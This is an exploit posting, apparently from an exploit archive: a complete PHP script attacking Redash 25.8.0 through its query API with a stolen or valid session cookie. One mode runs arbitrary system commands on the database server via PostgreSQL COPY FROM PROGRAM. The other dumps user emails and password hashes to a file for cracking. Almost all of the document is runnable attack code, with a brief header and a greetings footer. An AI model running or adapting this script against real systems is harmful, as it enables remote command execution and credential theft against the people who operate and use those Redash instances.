============================================================================================================================================= | # Title : Redash 25.8.0 Password Hash Extraction | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://redash.io/ | ============================================================================================================================================= [+] Summary : This PHP script is a security exploitation tool that targets Redash, an open-source data visualization platform. The tool leverages a configuration vulnerability in Redash's default PostgreSQL setup to perform two critical attacks: [+] Key Capabilities: Remote Command Execution (RCE) - Executes arbitrary system commands on the database server using PostgreSQL's COPY FROM PROGRAM functionality Password Hash Extraction - Extracts password hashes from Redash's internal user authentication table [+] POC : [--cmd | --dump] * Example: php poc.php http://localhost:5000 cookie.txt --cmd "id" * Example: php poc.php http://localhost:5000 cookie.txt --dump */ error_reporting(E_ALL); ini_set('display_errors', 1); $GLOBALS['ssl_verify'] = false; function print_usage($script_name) { echo "Usage: php $script_name [--cmd | --dump]\n\n"; echo "Examples:\n"; echo " php $script_name http://localhost:5000 cookie.txt --cmd 'id'\n"; echo " php $script_name $script_name http://localhost:5000 cookie.txt --dump\n\n"; } function load_cookies($path) { $cookies = []; if (!file_exists($path)) { die("Error: Cookie file not found: $path\n"); } $lines = file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($lines as $line) { if (trim($line) === '' || $line[0] === '#') { continue; } $parts = explode("\t", $line); if (count($parts) >= 7) { $cookies[$parts[5]] = $parts[6]; } } return $cookies; } function normalize_url($url) { $url = rtrim($url, '/'); if (strpos($url, 'http://') === 0 || strpos($url, 'https://') === 0) { return $url; } $protocols = ['https://', 'http://']; foreach ($protocols as $protocol) { $test_url = $protocol . $url; $ch = curl_init($test_url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_NOBODY => true, CURLOPT_HEADER => true, CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'], CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'], CURLOPT_TIMEOUT => 3 ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code > 0) { return $test_url; } } return 'http://' . $url; } function find_api_path($base_url, $cookies) { $session = create_session($cookies); $paths = [ "/api/query_results", "/default/api/query_results", "/org/api/query_results", ]; foreach ($paths as $path) { $url = $base_url . $path; try { $response = http_post($session, $url, [ "query" => "SELECT 1", "data_source_id" => 1, "parameters" => [] ]); if ($response['status'] == 200 || $response['status'] == 400) { return $path; } } catch (Exception $e) { } } return $paths[0]; } function create_session($cookies) { $cookie_string = ''; foreach ($cookies as $name => $value) { $cookie_string .= $name . '=' . $value . '; '; } return [ 'cookies' => rtrim($cookie_string, '; '), 'headers' => [ 'Content-Type: application/json', 'Accept: application/json' ] ]; } function http_get($session, $url, $timeout = 15) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_HTTPHEADER => $session['headers'], CURLOPT_COOKIE => $session['cookies'], CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'], CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'], CURLOPT_TIMEOUT => $timeout, CURLOPT_FOLLOWLOCATION => true ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($error && $http_code == 0) { throw new Exception("HTTP request failed: $error"); } return [ 'status' => $http_code, 'body' => $response, 'json' => json_decode($response, true) ]; } function http_post($session, $url, $data, $timeout = 30) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => json_encode($data), CURLOPT_HTTPHEADER => array_merge($session['headers'], ['Content-Type: application/json']), CURLOPT_COOKIE => $session['cookies'], CURLOPT_SSL_VERIFYPEER => $GLOBALS['ssl_verify'], CURLOPT_SSL_VERIFYHOST => $GLOBALS['ssl_verify'], CURLOPT_TIMEOUT => $timeout, CURLOPT_FOLLOWLOCATION => true ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $error = curl_error($ch); curl_close($ch); if ($error && $http_code == 0) { throw new Exception("HTTP request failed: $error"); } return [ 'status' => $http_code, 'body' => $response, 'json' => json_decode($response, true) ]; } function execute_rce($base_url, $cookies, $command) { $session = create_session($cookies); $api_path = find_api_path($base_url, $cookies); $endpoint = $base_url . $api_path; $table = "rce_" . substr(md5($command), 0, 8); $payload = [ "query" => "CREATE UNLOGGED TABLE IF NOT EXISTS $table AS SELECT '1' WHERE 1=0; COPY $table FROM PROGRAM '$command'; SELECT * FROM $table", "data_source_id" => 1, "parameters" => [] ]; $resp = http_post($session, $endpoint, $payload); if ($resp['status'] != 200) { throw new Exception("Query submission failed: HTTP " . $resp['status'] . " - check credentials / session expiration"); } $result = $resp['json']; if (isset($result['query_result'])) { $rows = $result['query_result']['data']['rows']; $output = []; foreach ($rows as $row) { if (isset($row['?column?'])) { $output[] = $row['?column?']; } } return $output; } $job_id = $result['job']['id'] ?? null; if (!$job_id) { throw new Exception("Failed to submit query: " . print_r($result, true)); } $deadline = time() + 60; while (time() < $deadline) { $job_url = $base_url . "/api/jobs/$job_id"; $job_resp = http_get($session, $job_url); if ($job_resp['status'] != 200) { throw new Exception("Failed to poll job: HTTP " . $job_resp['status']); } $job = $job_resp['json']['job'] ?? []; if (($job['status'] ?? 0) == 3) { // Complete $result_id = $job['query_result_id'] ?? null; $result_paths = [ "/api/query_results/$result_id", "/default/api/query_results/$result_id" ]; foreach ($result_paths as $res_path) { try { $url = $base_url . $res_path; $res = http_get($session, $url); if ($res['status'] == 200) { $rows = $res['json']['query_result']['data']['rows']; $output = []; foreach ($rows as $row) { if (isset($row['?column?'])) { $output[] = $row['?column?']; } } return $output; } } catch (Exception $e) { } } throw new Exception("Could not fetch query results"); } if (($job['status'] ?? 0) == 4) { // Failed throw new Exception("Job failed: " . ($job['error'] ?? 'Unknown error')); } usleep(500000); // 0.5 seconds } throw new Exception("Job did not complete"); } function extract_password_hashes($base_url, $cookies) { $session = create_session($cookies); $api_path = find_api_path($base_url, $cookies); $endpoint = $base_url . $api_path; $payload = [ "query" => "SELECT email, password_hash FROM users", "data_source_id" => 1, "parameters" => [] ]; $resp = http_post($session, $endpoint, $payload); if ($resp['status'] != 200) { throw new Exception("Query submission failed: HTTP " . $resp['status'] . " - check credentials / session expiration"); } $result = $resp['json']; if (isset($result['query_result'])) { $rows = $result['query_result']['data']['rows']; $hash_list = []; foreach ($rows as $row) { $email = $row['email'] ?? ''; $password_hash = $row['password_hash'] ?? ''; if ($password_hash && strpos($password_hash, '$') === 0 && $email) { $hash_list[] = [$email, $password_hash]; } } return $hash_list; } $job_id = $result['job']['id'] ?? null; if (!$job_id) { throw new Exception("Failed to submit query: " . print_r($result, true)); } $deadline = time() + 60; while (time() < $deadline) { $job_url = $base_url . "/api/jobs/$job_id"; $job_resp = http_get($session, $job_url); if ($job_resp['status'] != 200) { throw new Exception("Failed to poll job: HTTP " . $job_resp['status']); } $job = $job_resp['json']['job'] ?? []; if (($job['status'] ?? 0) == 3) { // Complete $result_id = $job['query_result_id'] ?? null; $result_paths = [ "/api/query_results/$result_id", "/default/api/query_results/$result_id" ]; foreach ($result_paths as $res_path) { try { $url = $base_url . $res_path; $res = http_get($session, $url); if ($res['status'] == 200) { $rows = $res['json']['query_result']['data']['rows']; $hash_list = []; foreach ($rows as $row) { $email = $row['email'] ?? ''; $password_hash = $row['password_hash'] ?? ''; if ($password_hash && strpos($password_hash, '$') === 0 && $email) { $hash_list[] = [$email, $password_hash]; } } return $hash_list; } } catch (Exception $e) { } } throw new Exception("Could not fetch query results"); } if (($job['status'] ?? 0) == 4) { // Failed throw new Exception("Job failed: " . ($job['error'] ?? 'Unknown error')); } usleep(500000); // 0.5 seconds } throw new Exception("Job did not complete"); } function main($argv) { if (count($argv) < 3) { print_usage($argv[0]); exit(1); } $url = $argv[1]; $cookie_file = $argv[2]; $mode = "--dump"; $command = null; if (count($argv) > 3) { if ($argv[3] == "--cmd") { $mode = "--cmd"; if (count($argv) < 5) { echo "Error: --cmd requires a command argument\n"; exit(1); } $command = $argv[4]; } elseif ($argv[3] == "--dump") { $mode = "--dump"; } else { echo "Error: Unknown option {$argv[3]}\n"; exit(1); } } try { $url = normalize_url($url); $cookies = load_cookies($cookie_file); if ($mode == "--cmd") { fwrite(STDERR, "[*] Executing command: $command\n\n"); $output = execute_rce($url, $cookies, $command); foreach ($output as $line) { echo $line . "\n"; } } else { // --dump fwrite(STDERR, "[*] Extracting password hashes...\n"); $hash_list = extract_password_hashes($url, $cookies); fwrite(STDERR, "[*] Found " . count($hash_list) . " password hashes\n\n"); if (empty($hash_list)) { fwrite(STDERR, "No password hashes found\n"); exit(1); } $hash_file = fopen('hashes.txt', 'w'); foreach ($hash_list as $hash_entry) { list($email, $password_hash) = $hash_entry; echo $email . "\n"; echo $password_hash . "\n\n"; fwrite($hash_file, $password_hash . "\n"); } fclose($hash_file); fwrite(STDERR, "[*] Hashes written to hashes.txt\n"); } } catch (Exception $e) { echo "Error: " . $e->getMessage() . "\n"; exit(1); } } if (php_sapi_name() === 'cli') { main($argv); } else { echo "This script must be run from the command line.\n"; } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================